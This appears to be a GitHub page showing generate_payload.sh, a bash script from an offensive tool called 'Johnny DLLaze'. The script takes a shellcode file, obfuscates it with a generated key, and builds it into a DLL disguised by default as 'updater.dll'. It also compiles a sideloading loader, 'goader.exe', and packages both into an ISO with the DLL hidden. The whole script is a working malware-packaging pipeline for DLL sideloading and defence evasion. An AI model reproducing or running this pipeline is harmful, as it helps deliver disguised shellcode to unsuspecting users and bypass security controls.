-
Notifications
You must be signed in to change notification settings - Fork 1
/
generate_payload.sh
executable file
·56 lines (56 loc) · 1.87 KB
/
generate_payload.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/bin/bash
./logo.sh
echo "[+] Now launching Johnny DLLaze"
rm -rf payloads/
mkdir payloads
command -v go > /dev/null || { \
echo "[!] Go is required, please install it"; exit 1; }
command -v goversioninfo > /dev/null || { \
echo "[-] goversioninfo needs to be installed, installing now"; \
go install \
github.com/josephspurrier/goversioninfo/cmd/goversioninfo@latest; \
}
if [[ $# -eq 3 ]]; then
command -v mkisofs > /dev/null || { \
echo "[!] mkisofs is required, it's part of cdrtools, please install it"; exit 1; }
fi
if [[ $# -lt 1 ]]; then
echo "[!] Invalid number or arguments."
echo "Usage:"
echo "$0 /path/to/payload.bin"
exit 1
fi
isofilename=${3:-awesome.iso}
output_dll=${2:-updater.dll}
sc_fullpath=$(readlink -f "$1")
echo "[+] Full path of payload file: $sc_fullpath"
cd sc_obfuscator || exit 1
echo "[+] Generating key file..."
go generate
echo "[+] Jumbling shellcode and writing to DLL generator..."
go run sc_obfuscator -payload "$sc_fullpath"
echo "[+] Payload file written"
echo "[+] Copying key file to DLL directory..."
cp key.bin ../goDLL/
cd ../goDLL || exit 1
echo "[+] Building the DLL.."
./build_dll_on_linux.sh "$output_dll"
echo "[+] Done, $output_dll will be in the payloads directory"
echo "[+] Compiling sideload executable now"
cd ../goEXE
./build_exe_on_linux.sh "$output_dll"
echo "[+] Done, goader.exe will be in the payloads directory"
mv goader.exe ../payloads/
mv ../goDLL/$output_dll ../payloads/
if [[ $# -eq 3 ]]; then
echo "[+] ISO file will be generated"
cd ../payloads
mkisofs -o $isofilename -V "You've Been GOadered" -hidden "$output_dll" \
-quiet -allow-lowercase -l * 2>/dev/null
if [[ $? -ne 0 ]]; then
echo "mkisofs has failed, unhide error and try again"
exit 1
fi
echo "[+] ISO file created with filename $isofilename in payloads"
fi
echo "[+] WOOOOOO, have a nice day!"